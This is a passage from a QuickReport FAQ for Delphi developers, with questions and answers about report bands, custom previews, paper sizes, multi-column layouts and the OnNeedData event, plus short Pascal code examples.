result := StrPas(aName);

end;

------------------

Q. My customer's PC is set to use "Large Fonts" for the display font size. This changes the layout and size of my report controls.

A. Delphi will scale the components if you have the form's Scaling property set to True. With QuickReport, you should always set this property to false.

------------------

Q. What is the most precise way to set the position or size of a QuickReport component on a band?

A. If you set the report units to Native, the component's Size properties (Size.Length, Size.Left, etc) will be measured in 1/10 of a mm. When the report runs, we switch the units to native so we can be as precise as possible.

------------------

Q. I want to print my reports to Adobe Acrobat PDF files. Is there any way to bypass the file dialog box and pass in a file name to save the PDF file as?

A. Adobe has a technical document that explains how to do this at http://www.adobe.com/supportservice/custsupport/SOLUTIONS/10a6a.htm

------------------

Q. I have defined a message that I use to terminate my application. Whenever I run the Quick Report 3 preview, it calls that message.

A. Quick Report 2 and 3 define a small set of messages in the qrprntr unit. If your message number overlaps that list, it will cause a conflict.

------------------

Q. I am trying to use the new Euro character. It shows up in the preview, but it prints as a block

A Your printer driver may need to be updated. Microsoft has detailed information on this at http://www.microsoft.com/windows/euro.asp

------------------

Q. I am writing my own control for QuickReport, how I do convert my units so that control is the correct size for the preview and the printout?

A. You would use the qrprinter's XPos() and YPos() functions to convert absolute measurements in 0.1mm units to the actual device coordinates. In the TQRShape.Print method in qrctrls.pas, there are a few examples of how we use XPos() and YPos() to handle the scaling for the drawing of shapes.

------------------

Q. I am printing the report in duplex and I want every other page to only print some static text.

A. One way to do this would be to use a ColumnHeader band and use the BeforePrint and AfterPrint events of that band to control the printing. If you are currently using a ColumnHeader band, add a child band to the ColumnHeader and move your existing Column Header controls to the child band.

In the BeforePrint event of the band, set it so it only prints on even numbered pages.

Example:

procedure TfrmMDDuplex.ColumnHeaderBand1BeforePrint(Sender: TQRCustomBand;

var PrintBand: Boolean);

begin

// Print only on the even pages

PrintBand := (QuickRep1.PageNumber > 1) and ((QuickRep1.PageNumber mod 2) = 0);

end;

In the AfterPrint event, force a new page when the column header band has been printed.

Example:

procedure TfrmMDDuplex.ColumnHeaderBand1AfterPrint(Sender: TQRCustomBand;

BandPrinted: Boolean);

begin

// If we printed the band, force a new page

if BandPrinted then QuickRep1.NewPage;

end;

------------------

Q. I am trying to reset the page number for every group band. How can I do that ?

A. This is not supported by the QRSysData control. You will have to track the page number manually and assign the value to a TQRLabel.

------------------

Q. Does Quickreport support BDE alternatives such as ODBC98?

A. As long as the 3rd party package supplies a descendant TDataset control it should work. I use OBDCExpress and their TOEDataset control works just fine with QuickReport 2 and 3. The general rule of thumb is that if the regular Delphi data aware controls work with your 3rd party TDataset, then QuickReport will work too. The release of QR3 bundled with Delphi 4 would not work with non thread safe database drivers (like SQL Links or Opus), but this was addressed in the 3.0.1 release.

------------------

Q. My report uses tables on a datamodule and even when my report form is using the datamodule, I can't get the tables or fields to show up.

A. Make sure that the datamodule is loaded when you are setting the fields at design time.

------------------

Q. I use the following procedure to create forms at run time:

procedure TfmMainForm.ShowModalForm(FormClass: TFormClass);

begin

Screen.Cursor := crHourGlass;

with FormClass.Create(Application) do

try

ShowModal;

finally

Free;

end;

Screen.Cursor := crDefault;

end;

Usage: ShowModalForm(TfmSpecialForm), ShowModalForm(TfmOtherForm);

I need a similar routine to create reports.

A. The FormClass is specific to forms and you can not do the same thing with the report class. Put the report on the form and use the form's FormShow event to call the report's preview.

------------------

Q. Is there a way to reset the page number based on a group header? This would be useful when printing invoices.

A. Instead of using a TQRSysdata control, use a TQRLabel and manually track the page number. You can increment and reset that value in your code based on the events that you select. Then in the footer band, set that TQRLabel's Caption to the string value of the page number.

------------------

Q. Is it possible, to use the MS Intellimouse's wheel inside the preview of quickreport?

A. This should be handled by the OS or by the mouse driver. With Win98, the mouse wheel support is in the OS, with Win95 you can enable the wheel with the Intellimouse 2.2 driver from MS. I have tested the preview with Intellimouse 2.2 under Win95 and the preview could be scrolled by the wheel.

------------------

Q. What's the difference between this file and QR2FAQ.TXT?

A. QR2FAQ.TXT was intended to list the current release notes along with some common questions. This file is basically the most common questions (and some uncommon ones) that the users have sent in.

------------------

Q. When I set the height of the report, it keeps going back to the default value, is this a bug?

A. The height value of the report is derived from the page size. If you manually set this value, it will snap back to the calculated value.

------------------

Q. It is difficult to manage reports with many bands. Is there a better way to create complex reports ?

A. When I have a single report with many bands, I set the height property of the bands that I am not working on to a small value to shrink them out of the way at design time. I assign the actual height to the band's tag property and at runtime, I just copy the tag to the height property to expand the band back out.

------------------

Q. I want to print reports with text and pictures. Each of the pictures (two in a row) shall have a caption. Now it sometimes happens that the caption is printed on the first page, but the pictures on the next page. How can I keep that together?

A. Right-click on the image controls and select "send to back". This put the images at the top of the creation order on the band and they will be printed first, forcing a page break if needed.

------------------

Q. I want a 1.5" top margin and 0.5" bottom margin on odd numbered pages and a 0.5" top margin and 1.5" bottom margin on even pages.

A. You can't change the margins while the report is running. One work around would be use Childbands on the page header and page footer bands and selectively print the Childbands on every other page. First set the top and bottom margins to 0.5".

For the footer band, you add a blank child band of 1" in height. In that band's BeforePrint event, you would set PrintBand to true only on even numbered pages. This will give the appearance of increasing the bottom margin by 1" on the even number pages.

For the Headerband, you would do almost the same thing. You add a child band and move all of the header information from the actual page header band to the childband. You then set the height of the pageheader band to 1" and in it's BeforePrint event, you would set PrintBand to true only on odd numbered pages. This will give the appearance of increasing the top margin by 1" on the odd number pages.

------------------

Q. How can I set the contents of the page header based on the first subdetail band that prints on that page?

A. You could do this by using Childbands on the page header. Use group footer bands (if you don't actually need one, set their height to 0 before the report starts) and in the BeforePrint event of the group footer, set a global variable to a value that would represent the next subdetail band. When the it comes time to output the child bands on the pageheader, you would set their PrintBand variable in their BeforePrint event based on the value of that global variable. Since the variable is being updated when a subdetail is finished, if you hit the page header that means that there is more data. You would not want to increment the value by 1 each time, that would get out of synch when a subdetail band did not have any data. Remember to initialize the global variable in the report's BeforePrint event.

------------------

Q. All of my fields come out blank.

A. Did you set the dataset property of the report to an active dataset?

------------------

Q. An error appears when we set the "Orientation" in the "Page" property to "poLandscape" and the "PaperSize" property to "Default". If we now call the Preview, the following error message appears on the screen : "Error on floating point operation".

A. There is a known problem with QR2 if you change the orientation at runtime when the paper size is set to Default or Custom. This will be addressed in a future release. One work around would be to use the following code:

with QuickRep1 do

begin

{Get the current papersize from the default printer and set the report to use it}

with TQRPrinter.Create do

begin

Printerindex := -1;

QuickRep1.Page.PaperSize := PaperSize;

Free;

end;

Page.Orientation := poLandscape;

Preview;

end;

------------------

Q. When I use the Apollo driver to access a Foxpro table and I can not preview reports that use QRDBText controls with MEMO fields.

A. It has been reported to use that if you have the Apollo driver configured so that the BDE can also be used, you can get this problem. Setting the Apollo driver so that it's the only driver has been reported to fix this problem.

------------------

Q. Every time I preview a report, I lose memory.

A. There are a few things that could cause this. Older versions of QuickReport did have some memory leaks, you should be using version 2.0J or newer. If you are using a custom preview, make sure that you are freeing the form in the preview form's OnClose event. If you set the close action to caFree, the form will not be actually freed until the application has terminated.

We have had many reports of cumulative memory losses when using HP Deskjet drivers. This is a problem with the printer driver, not with Quick Report. If you are using one of these drivers, you should get the latest driver for your printer from HP's web site (http://www.hp.com/cposupport/jsnav/prhome.html). Switching the printer driver to another printer (make sure it's a very different kind of printer) is an easy to test if your printer driver is causing the problem.

------------------

Q. I have two forms, Form1 contains a TTable, Form2 contains a TQuickRep. Form2 includes Form1 in its uses clause. I place a TQRExpr on the report, and open up the Expression property editor by clicking ellipsis. The table in Form1 cannot be viewed/selected in this editor.

A. You will need to use the report's AllDataSets property to add datasets from other forms. This is documented in the manual under the "AllDatatSets" topic. Please note that you should use the AllDataSets's Add method in the report's BeforePrint event.

------------------

Q. Is there any way to perform "Hide Duplicates" for some repeated data item in a report?

A. You would have to store the previous field value in a variable and compare the current field against it. You would reset the variable in the report's BeforePrint event and compare the variable against the current dataset field in the control's OnPrint event.

Example:

LastVar is defined as string the form's public section

procedure TfrmSub2.QuickRep1BeforePrint(Sender: TQuickRep;

var PrintReport: Boolean);

begin

{ Clear our variable }

LastVar := '';

end;

procedure TfrmSub2.QRDBText5Print(sender: TObject; var Value: string);

begin

{

If this field is same as the last one, then we clear it. If it's new

we set our variable to that field and let this one print

}

if Value = LastVar then

Value := ''

else

LastVar := Value;

end;

------------------

Q. Using QR2 and trying to call addprintable in the beforeprint event of a band causes a GPF (or an Access Violation). Is this not allowed for some reason?

A. You can only call AddPrintable or otherwise add a control to a report band before you start the report. QuickReport needs to know about all printable controls before it starts the report.

------------------

Q. If I print a invoice with two lines at the bottom of a page, I have this problem. The pagefooter is necessary because the lines of Subdetail prints at bottom of the page. The first page is Ok. On the second page, the last page of invoice, in GroupfooterBand1Beforeprint I have

QRFooterband.enabled := false;

QuickRep1.ResetPageFooterSize ;

The pagefooter doesn't print, but Groupfooterband does not align to bottom.

A. If you call this code from the group footer's BeforePrint event, it is too late, it's print position has already been set. What will work is if you that code in the PageHeader's BeforePrint event. If you are not using a PageHeader band, add an empty one to do this code and then set PrintBand to false to suppress the output of the PageHeader.

------------------

Q. Why does QuickReport change my detailband's Size.Height property from 33.0 to 33.07 after I preview a report?

A. Try setting the report's SnapToGrid property to false, that should keep the band from resizing. The Delphi IDE will also round certain values, if you set the value to a slightly smaller value, it should round up to the correct value. If the rounding error is really throwing your report off, you can always set the value at runtime and it will not get rounded.

------------------

Q. How can I convert from pixels to the measurement unit used by the QRPrinter object to be able to print to the screen or printer?

A. QRPrinter.XSize(aNumber * ParentReport.TextWidth(Font,'W')) should do the trick.

------------------

Q. My shapes print out thinner than they appear in the preview

A. This is a known issue that we are researching. A user sent in the following work around: I can get the thick line by changing then shape to qrsrectangle with a width of 2 and change the brush color to clblack.

------------------

Q. In my report I want to print a blank line every between every 5 lines with data, to make it easier to read. How can I do that?

A. On every 5th record, double the height of the detail band in the BeforePrint event. In the AfterPrint event, reset it back to normal.

------------------

Q. How can I make a row wider than 1 page.

A. This is not currently supported. One alternative would be to use multiple subdetail bands and run through the data set a couple of times, for each set of columns. Let say that you have 20 columns and only 10 will fit on the width of a page. Leave out the detail band and set PrintIfEmpty to true. Set each subdetail band to the same dataset and put different columns each. Each subdetail will print all of the records but with different columns. You will need to call the dataset's first method after each subdetail set has been executed.

------------------

Q. Can you tell me how I can view the non-continuous rows in a DBGRid by using QuickReport? I set dgMultiSelect from TDBGrid to True, and I select some records in non-continuous order, then ...?

A. You'll need to use the QuickReport OnNeedData event (it's in the manual) to pull data from a DBGrid. In the OnNeedData event, try the following code:

MoreData := DBGrid.SelectedRows.CurrentRowSelected;

Another method would be populate a temporary table with the selected rows and have the report work with the temporary table.

------------------

Q. How can I put a blank page in front of a report.

A. Put a blank title band on the report and call the report's NewPage method in the title band's AfterPrint event.

------------------

Q. How do I print a text file as a report?

A. There are several ways to do this. The qrprntr example project in the directory prints a text file using the TQRPrintJob class. You could use a single detailband and read the text file into a QRMemo, just make sure to set PrintIfEmpty to true. Or you could use the OnNeedData event and read the file line by line and set a qrlabel.caption on the detail band to the current line.

------------------

Q. How do I change the Delphi help file to be able to search in the new QuickReport Help?

A. You need to use Borland's Help file installer (helpinst.exe) add 3rd party help files (such as QuSoft's) to your system. Please see your Delphi documentation for information on the usage of the Help file installer

------------------

Q. I am having trouble with the QRChart control.

A. This control is a QuickReport compatible component written by Tee-Mach. Please contact them at http://www.teemach.com/ for all QRCHart support questions.

------------------

Q. I'm having trouble placing controls at precise locations when the I have the report set to 50% zoom

A. You should keep the zoom value at 100% when adding controls to a form, otherwise you will not be able to have precise control over the placement of the controls.

------------------

Q. What is the difference between the global QRPrinter, the preview's qrprinter, and the report's, qrprinter?

A. Each report has it's own QRPrinter object. There is a global QRPrinter object that can be used outside of the QuickRep object. Each QRPrinter is a distinct object.

The Preview's QRPrinter object is just a pointer to the QRPrinter of the report using that preview. When you reference the preview's qrprinter, you actually referencing the qrprinter object of the report currently being previewed.

------------------

Q. How do I print out text rotated at an angle?

A. BitSoft Development, L.L.C, has shareware control called QrRotateLabel and you can download it from http://www.bitsoft.com

Another control can be found on the Delphi Super Page (http://sunsite.icm.edu.pl/delphi/)

------------------

Q. How can I to begin a report (QR) with current record and then continue from that record?

A. QuickReport starts with the first record of the dataset, you will need to have the dataset return a set of records starting with the one that you want to start with. If using the TQuery, use the WHERE clause of it's SQL property to specify the starting record. With TTable, you can use it's filter properties (Delphi 2 or higher).

Another way would be to use the OnNeedData event to navigate through the dataset, this would work, but would require more code than limiting the dataset through their own properties

QuickReport 2 really doesn't have a direct way of filtering by record count. One thing that you could do is to use the BeforePrint event of the detail band and set the PrintBand boolean to true for the records that you want to print. If you add two global integers to the report form like "FirstRec" and "LastRec", you could control it that way. I would initialize them to 0 and only check them when they were greater than 0 like the following:

procedure TfrmQR.DetailBand1BeforePrint(Sender: TQRCustomBand;

var PrintBand: Boolean);

begin

with frmQR do

begin

if FirstRec > 0 then

PrintBand := QuickRep1.RecordCount >= FirstRec;

if PrintBand then

if LastRec > 0 then

PrintBand := QuickRep1.RecordCount <= LastRec;

end;

end;

This has NOT been tested, you may have to modify it to get it to work

------------------

Q. How do I do duplex margins?

A. QuickReport does not have the built in ability to do duplex margins. You should be able to do this by changing the margins in the AfterPrint event of the page footer band.

------------------

Q. How do I keep the preview from rebuilding the report when I print?

A. When you print from the preview, the report is rendered again. The reason is the preview is rendered to a metafile, and the output looks better if it's directly rendered to the printer canvas. You can override this behavior, when you print a previously saved report, the preview metafile is sent to the printer.

Set the OnGenerateToPrint event of the report's qrprinter object to nil. This will force the report to not render the report a second time.

Example:

procedure Tfrmqr.QuickRep1BeforePrint(Sender: TQuickRep; var PrintReport: boolean);

begin

QuickRep1.qrprinter.OnGenerateToPrinter := nil;

end;

This only works with QuickReport 2.

Please note that with the current release of QuickReport 2, if you do this, you will not be able to change any of the printer settings through the standard preview.

------------------

Q. My report works under 95 but not under NT

A. When the report crashes at 25 to 50 pages and the OS is NT, then the problem is usually file permissions based. QR2 renders the report to a temporary file if it can't do it in RAM. QuickReport calls the Delphi GetTempPath() and GetTempFileName() functions to build the filename. These functions check directories specified by the TMP, and TEMP variables, and they fail, the current directory. If the user does not have sufficient access to create a temporary file, then an error will occur.

------------------

Q. How do I do a title page?

A. For single column reports add a title band and call the report's NewColumn method from the title band's AfterPrint event.

A. For multiple column reports, add a title band and set it's height so that no other band will fit on it's page. One way would be to use the report's BeforePrint event to set the titleband.size.height property

The following assumes a page header and footer band...

procedure TfrmQR.QuickRep1BeforePrint(Sender: TQuickRep;

var PrintReport: Boolean);

begin

with QuickRep1.Page do

titleband1.size.height := Length - TopMargin -

BottomMargin - PageHeaderBand1.Size.Height - PageFooterBand1.Size.Height;

end;

------------------

Q. I can't get AddPrintable to work

A. The Addprintable does not work the way the manual states it will.

The following wont compile:

with DetailBand1.AddPrintable(TQRDBText) do

begin

DataField := 'Test';

While this will:

with TQRDBText(DetailBand1.AddPrintable(TQRDBText)) do

begin

DataField := 'Test';

------------------

Q. Is there a maximum length/size of a report?

A. There are no limits on the size of report that can be printed. Preview is limited by the amount of free disk space, however disk usage can be significantly reduced by enabling QuickReport's internal compression.

-----------

Q. There is a mention of qrsPageCount and QuickReport.Options.TwoPass in the documentation. Are these available yet?

A. There are references to qrsPageCount and QuickReport.Options.TwoPass in the documentation. Unfortunately these features have not completed. Please see the question titled "How can I determine the number of pages in my report before I preview or print it?" for a work around.

-----------

Q. How do I print only the current record of the dataset?

A. To print the current record, clear the DataSet property of the report and set the report's PrintIfEmpty property to True.

------------------

Q. I define multiple TQRlabels on a page. I can not find the end of the qrlabel.caption to figure out where to start the next qrlabel.

A. If you use the size properties, this should be easy to do. If you have two labels, qrlabel1 and qrlabel2, then you would use the following syntax:

qrlabel2.Size.Left := qrlabel1.Size.Left + qrlabel1.Size.Width after you have set the caption properties.

------------------

Q. Quickreport seems to leave a trail of files of the form QRPDxxx.TMP in the windows temp directory. Is this a result of normal operation, crash or aborted preview?

A. These files are created when you preview a report and are deleted when the preview exits. If your report crashes or is terminated by the IDE, these files will not be removed. You can safely delete these files at any time. If you call the Prepare method and do not free the QRPrinter object and set it to nil, it can leave a QR*.tmp file behind. If you are using QuickReport 3 with custom previews designed with Quick Report 2, there were changes made to how the preview's FormClose event works. Please see the standard preview's FormClose code. If you use the Quick Report 2 Preview's FormClose code, it will not free the qrprntr object created by the report.

------------------

Q. I get the error "Metafile is not valid" when I preview a very simple but large report (2,500,000 lines). The same report with a smaller data table runs OK. Why do I get this error?

A. Are you running out of disk space? QR renders the report to a temporary file and you will get that error message if you are running out of room. Try setting the report's Options.Compression property to true and see if the report will run.

------------------

Q. I have an invoice form. If in the form can't put all the details records in one page, and it must go to the next page, I must put a message in the bottom of the form saying something like this " continued on the next page..." or "carried forward ...". Which is the best solution for this?

A. There are a few ways to do this. One way would be to use a summary band with height set to zero and TQRLabel on the page footer that has the text " continued on the next page...". In the AfterPrint event of the summary band, set the caption of the TQRLabel to ''. If the summary band prints on the first page, the label will be cleared, if it gets called on the next page, the first page will print the label.

------------------

Q. How can I do subscripts for chemical formulas?

A. You would have to use a TQRRichText or a TQRDBRichText control and insert the RTF codes to the text effect. If you are not familiar with the RTF format codes, an easy way to get the codes is to type the text in MS Word with the formatting and save the file out as a RTF file.

------------------

Q. I tried using the OnPrint event to change the font style but it does not respond.?Will it show up in the preview, or do I have to compile and run the report from Delphi?

A. Any code that you put in an event handler will only be executed at runtime.

------------------

Q. I have a report with just a page header and a title band. The title band has a memo control that can span multiple pages. When it does span a page, the text in the memo starts getting chopped up the closer you get to the bottom of the page. What is wrong?

A. The report will not work properly without a detail band. It was designed around it and leaving it out will have odd side effects like the one that you described. The work around is to add an empty detail band (no controls with it's height set to 0) and the report should print normally.

------------------

Q. Are there any year 2000 issues with QuickReport?

A. Year 2000 Compliance (Y2K)

QuickReport does not have any Y2K issues in and of itself. If the programmer writes his application to be Y2K compliant, then his reports will be Y2K compliant. This is applicable for all versions of QuickReport.

All date and time calculations in QuickReport are done using TDateTime fields. If the data supplied to the QuickReport is Y2K compliant, then the calculations will be Y2K compliant.

All date and time fields are displayed with the format masks defined by the programmer. Date format masks that are not defined by the programmer will use the default values supplied by Delphi from Windows.

Please be aware that QuickReport is a software development tool. QuSoft cannot control the ultimate quality or accuracy of products developed using QuickReport. Therefore, QuSoft provides no warranty whatsoever in connection with Year 2000 readiness of any software developed by third parties using QuickReport.

Additional information about Delphi Y2K compliance can be found at http://www.inprise.com/devsupport/y2000/

------------------

Q. The graphics mode of my dot matrix mode is too slow, so I'd like to know if there is another way to print using the text format of the printer. I must print using the standard size and the compressed size of the fonts as we used to do in the DOS environment...

A. QuickReport was not designed to do that kind of printing, you will need to be able to set your printer driver that way and I do not have any information on that.

An alternative means would be to use the ASCII export filter to send the report to a text file and then copy that file to the printer. To set any printer and/or font properties, you would have to edit the text file and insert the characters or use a similar method.

------------------


Quick Report FAQ [ 3 ]

[Multiple Columns]

==================

Q. Is it possible to set the width of each column if the page has 4 columns ?

A. The width of the column is the determined by the number of columns divided by the page width, then subtract the report.page.columnwidth value. You can not set the width of a band directly.

------------------

Q. When I create multi-column report, second, third etc. columns overwrite children of the title band.

A. This is a known bug with QuickReport 2. One work around be to use a pageheader band with child bands. Since the page header prints after the title, you would put the actual page header information on the last child band and use the preceding page header (and children) for the title information. In the BeforePrint events for the bands, you would set PrintBand to false when the page number was greater than 1.

(QR3) This has been fixed with QuickReport 3

------------------

Q. I have a multiple column report where I want to have two groups, one that forces a page break, and one that forces a column break. I can set this just fine. But what happens is when I get the page break, the data prints in the second column of the report and the first column is blank. Is there a way to suppress the column break after a page break?

A. What you need to do is to set the 2nd group's ForceNewColumn property to false the first time the group is printed on each page. Then set it back to true to handle the reset of the page. Set the property to false in the report's OnStartPage event, which gets called at the start of each page. In the AfterPrint event of the group band, set the property to True so it will work the next time it's called on that page.

------------------

Q. I am interested in adding the capability of generating mailing labels to my current application. I could not find any information about mail labels in your documentation.

A. Doing labels is pretty straight forward. You set the detailband's height or Size.Height properties to fit the height of your labels and then set the report's Page.Columns property to the number of labels that would go across the page. You may need to adjust the top and bottom margins of the page to fit your labels.

------------------

Q. Is there a way to make QReports print columns Left to Right - Top to Bottom instead of Top to Bottom - Left to Right?

A. This is scheduled for a future QuickReport release. One work around would be to use multiple sets of TQRLabel controls on a single column detail band. You would call the report's dataset.next method in the detailband's BeforePrint event and assign the values to the TQRLabels.

------------------

Q. When I do a multiple column report, the detail bands print on the same line as the group bands

A. Group bands are the same width as the detail bands and since the columns go down then across, it is possible to have detail bands at the same vertical position (different horizontal position) as group band. If you want column headers to stay above the detail bands, use the page header to store the header fields.

------------------

Q. I have a multiple column report that uses subdetail bands but doesn't have a detail band. I get an exception in the TQRCustomBand.GetBandSize function when I try to run the report.

A. You must have a detail band for multiple column reports. This is a known bug and will be addressed in a future release. If your report does not require a detail band, then just set it's height to 0.

------------------

[NeedData]

==========

Q. How can I update the progress display when I use OnNeedData to populate the report?

A. You can set the report's QRPrinter.Progress property in the report's OnNeedData event. The value should be in the range of 1 to 100.

Example: QuickRep1.QRPrinter.Progress := (Longint(CurrentIndex) * 100) div MyTotalCount;

------------------

Q. How do I use the OnNeedData event?

A. When you define this event, it will get called to see if a new detail line is needed. It has a boolean variable named MoreData. Set it to true if you still have data and false when you are done. The QR3DEMO project on our download page has examples of how to use this.

------------------

Q. I am using the onNeedData event to fill a report, and I noticed that the last "record" doesn't show on the preview, and it doesn't print.

A. In your OnNeedData event, are you setting MoreData to false on the last record? That would suppress the last record, you want to set MoreData to false in the OnNeedData event that gets called after the last detail band has printed.

------------------

Q. How can I build a report with data that doesn't come from a BDE table or query?

A. QuickReport was designed to work with BDE datasources, but it can use data from other sources via the OnNeedData events. Please see the manual topic for OnNeedData for more information.

------------------

Q. The output from preview is correct, but printing from the preview does not print all of the data or the data has values from the last run of the report.

A. If the problem is only when you print from a preview, then you will need to reset your data (datasets and/or variables) in the BeforePrint event of the QuickReport. This event gets called whenever the report needs to be generated.

When the report is regenerated, sometimes you will have to reset your dataset. One example is if the dataset has a memo and you are connected to a SQL database server like Oracle. The problem seems to be in the BDE's BLOB caching.

Another situation would be if you are using OnNeedData and that event is controlled by a variable that needs to be initialized at the start of the report.

------------------

[Paper size issues]

==================

Q. If the Quickreport.Page.TopMargin is to small then the Top of the Quickreport is not be printed. Quickreport should tell the user that the Quickreport is out of printable range

A. This is being considered for a future release.

------------------

Q. How do I set the paper size?

A. For detailed information about setting the paper size, please refer to the section on Paper size and Margins (page 2-21) in the QuickReport 2 manual. This manual comes with QuickReport under the filename qr2.doc.

------------------

Q. How do I determine the default paper size of the selected printer?

A. The following code checks the printer to see what paper size is the default.

with TQRPrinter.Create do

begin

PrinterIndex := QuickRep1.PrinterSettings.PrinterIndex;

{ for the default printer use the following line }

PrinterIndex := -1;

QuickRep1.Page.PaperSize := Papersize;

free;

end;

------------------

[Preview]

==================

Q. I create my reports using this method:

QuickReport.Prepare;

QuickReport.QRPrinter.Preview ;

QuickReport.QRPrinter.Free;

QuickReport.QRPrinter := nil;

Now the navigation buttons in the print preview do not work.

A. When used with Prepare, the Preview method returns immediately. This code would have freed the data being used by the preview. The Free and Nil lines should be removed. If you want the code to wait until after the preview has executed, just put a wait loop that waits until the qrprinter has been freed:

Example:

repeat

Application.ProcessMessages

until QuickRep1.QRPrinter = nil;

------------------

Q. In Quick Report 3, Composite Reports do not have an "OnPreview" event. Is there a was to use TQRPreview with Composite Reports?

A. The OnPreview event was left in for compatibility with Quick Report 2. With Quick Report 3, it is very easy to register a custom preview as the default preview for all reports. There are detailed examples of how to do this in the QR3MDID4.ZIP and QR3RNGD4.ZIP demo projects on our download page.

Example code from the demos..

type

// To have a custom preview be used as the default preview,

// you first define an interface class. You will provide two

// functions for this class, Show, and ShowModal.

// don't forget to add qrprntr to the uses clause of this unit.

TQRSimplePreviewInterface = class(TQRPreviewInterface)

public

function Show(AQRPrinter : TQRPrinter) : TWinControl; override;

function ShowModal(AQRPrinter : TQRPrinter): TWinControl; override;

end;

implementation

function TQRSimplePreviewInterface.Show(AQRPrinter : TQRPrinter) : TWinControl;

begin

Result := TPreviewForm.CreatePreview(Application, AQRPrinter);

TPreviewForm(Result).Show;

end;

function TQRSimplePreviewInterface.ShowModal(AQRPrinter : TQRPrinter) : TWinControl;

begin

Result := TPreviewForm.CreatePreview(Application, AQRPrinter);

TPreviewForm(Result).ShowModal;

end;

To specify this preview as the default, you would call the RegisterPreviewClass with the type of preview to register:

RegisterPreviewClass(TQRSimplePreviewInterface);

If you are using custom previews designed with Quick Report 2, there were changes made to how the preview's FormClose event works. Please see the standard preview's FormClose code. If you use the Quick Report 2 Preview's FormClose code, it will not free the qrprntr object created by the report.

------------------

Q. Is there a way to close any open preview forms through code?

A. You can loop through the list of forms and find each preview form by the class name and then close it.

Example:

for nIdx := (Screen.FormCount - 1) downto 0 do

with Screen.Forms[nIdx] do

if ClassName = 'TQRStandardPreview' then <-- Substitute or add your class for custom previews

Close;

------------------

Q. How can I implement a modal preview? The standard preview isn't modal, when the user make it smaller and click on another form the preview form is hidden. Is there a way to show the preview modal?

A. Quickreport 2 requires a non-modal preview form to allow the report to process the data. What you can do is use a custom preview and set it's form style to fsStayOnTop, that would keep the users in the preview until they close it.

(QR3) QuickReport 3 (3.0.1 or newer) has some additional preview methods, PreviewModal and PreviewModeless. These two methods run in a thread and can not be used with non-thread safe database drivers (like SQL Links). This limitation will be addressed in a future release.

------------------

Q. Is it possible to set preview "Fit To Page" as default when opening the preview of a report ?

A. You can modify the source code for the default preview, or build a custom preview that has this behavior. We have a sample project for custom previews on our download page that shows how to specify the starting zoom setting for the preview.

------------------

Q. When repeatedly previewing a report and closing BEFORE the first page is displayed, there is a access violation.

A. If you are using a custom preview, you must make sure that you have set the qrpreview's qrprinter property to nil when you close the preview. If you are repeatedly calling preview or print, you may to add code to check the report's state property. When it's set to qrAvailable (defined in quickrep.pas), then the report is safe to call.

------------------

Q. Can I preview only selected pages?

A. There isn't any easy way to preview a range of pages. As each page is rendered, the preview is notified that the page is now available. You could have to modify the report to stop after a certain page, but there isn't any way to tell the preview to start at a specific page.

------------------

Q. Why doesn't the printersetup button work from the preview when I load a saved report?

A. This is actually a design feature. When the orientation or paper size was changed, the result was poor output from the saved repots so this functionality was removed from the default preview. If you build a custom preview, you can use the printersetup on saved reports. Example projects with a custom preview with this functionality can be downloaded from our download page under the filename custprev.zip (QuickReport 2) and QR3CSTD3.ZIP (QuickReport 3)

------------------

Q. We've a problem with QRPrinter.PageCount. We've created our own Previewform and when we call QRPrinter.PageCount we always get 0. What's wrong??

A. You need to specify the preview's qrprinter, otherwise the global qrprinter will be used. Also, the total page count is not known when the preview is first shown, you must use the preview's OnPageAvailable to update the page count as each page is rendered.

Example:

procedure TfrmPreview.QRPreviewPageAvailable(Sender: TObject;

PageNum: Integer);

begin

if PageNum = 1 then

Caption := QRPreview.QRPrinter.Title + ' - 1 page'

else

Caption := QRPreview.QRPrinter.Title + ' - ' + IntToStr(PageNum) + ' pages';

case QRPreview.QRPrinter.Status of

mpReady: Caption := Caption + ' READY';

mpBusy: Caption := Caption + ' BUSY';

mpFinished: Caption := Caption + ' FINISHED';

end;

end;

------------------

Q. If I change the Paper Size in the Printer Setup of the preview, the report does not reflect the size selected.

A. This is a known issue and will be addressed in a future release. The work around would be to provide a selection of available page sizes to user before you run the report and the set the report's Page.PaperSize property to paper selected.

------------------

Q. My custom preview does not use the zoom value that I set at design time, how do I get it to start up with the value that I want?

A. When the QRPreview is created, it defaults with a zoom value of 100, you'll need to set the value after you create the QRPreview.

------------------

Q. How can I augment the preview's print function to display a dialog box after the report prints?

A. The default preview wont let you do this, but if you create a custom preview for your report, you can call the dialog after printing.

An example print button event could look like this:

procedure TfrmPreview.PrintClick(Sender: TObject);

begin

Print.Enabled := False;

QRPreview.qrprinter.Print;

Print.Enabled := True;

MessageDlg('Did we print?', mtconfirmation, [mbOk], 0);

end;

------------------

Q. How can I determine the number of pages in my report before I preview or print it?

A. If you call the report's Prepare method, it will generate the report without printing or previewing it. After Prepare has finished, the pagecount will be in the report's qrprinter.pagecount property. Please refer to the manual topic on Prepare for more information.

Example:

QuickRep1.Prepare;

QuickRep1.ReportTitle := 'This report has ' +

IntToStr(QuickRep1.QRPrinter.PageCount) + ' pages';

QuickRep1.QRPrinter.Free;

QuickRep1.QRPrinter := nil;

QuickRep1.Preview;

------------------

Q. How can I have my custom preview print a range of pages without going through the printersetup dialog?

A. What you need to do is to add a public property of your preview form of type TQuickRep like the following:

type

TfrmPreview = class(TForm)

QRPreview: TQRPreview;

.....

public

{ Public declarations }

CurrentReport : TQuickRep;

end;

In the OnPreview event of the report, you would use something like:

procedure TfrmMyReport.QuickRep1Preview(Sender: TObject);

begin

with frmPreview do

begin

CurrentReport := QuickRep1;

QRPreview.QRPrinter := TQRPrinter(Sender);

Show;

end

end;

That lets you reference the calling report through the preview's CurrentReport variable. Then to print out a range of pages with out going through the printer setup, you would do something like the following:

with CurrentReport.PrinterSettings do

begin

{ To set your own printer }

PrinterIndex := MyDesignatedPrinterIndex;

{ set the page range }

FirstPage := MyDesignatedFirstPage;

LastPage := MyDesignatedLastPage;

end;

QRPreview.qrprinter.Print;

With Quick Report 3, the Master property of the qrprinter is the report that owns it.

------------------

Q. I can't get the cursor to display as an hourglass during custom preview processing.

A. This is a known issue and will be addressed in a future release

------------------

Q. I am using custom preview and want to know if there is an easy way to know when the report is done being generated?

A. When the report is done, the preview's qrprinter.status property will be set to mpFinished. The following code will display the title, total pages, and status as the preview caption when used as the preview's OnPageAvailable event.

procedure TfrmPreview.QRPreviewPageAvailable(Sender: TObject;

PageNum: Integer);

begin

if PageNum = 1 then

Caption := QRPreview.QRPrinter.Title + ' - 1 page'

else

Caption := QRPreview.QRPrinter.Title + ' - ' +

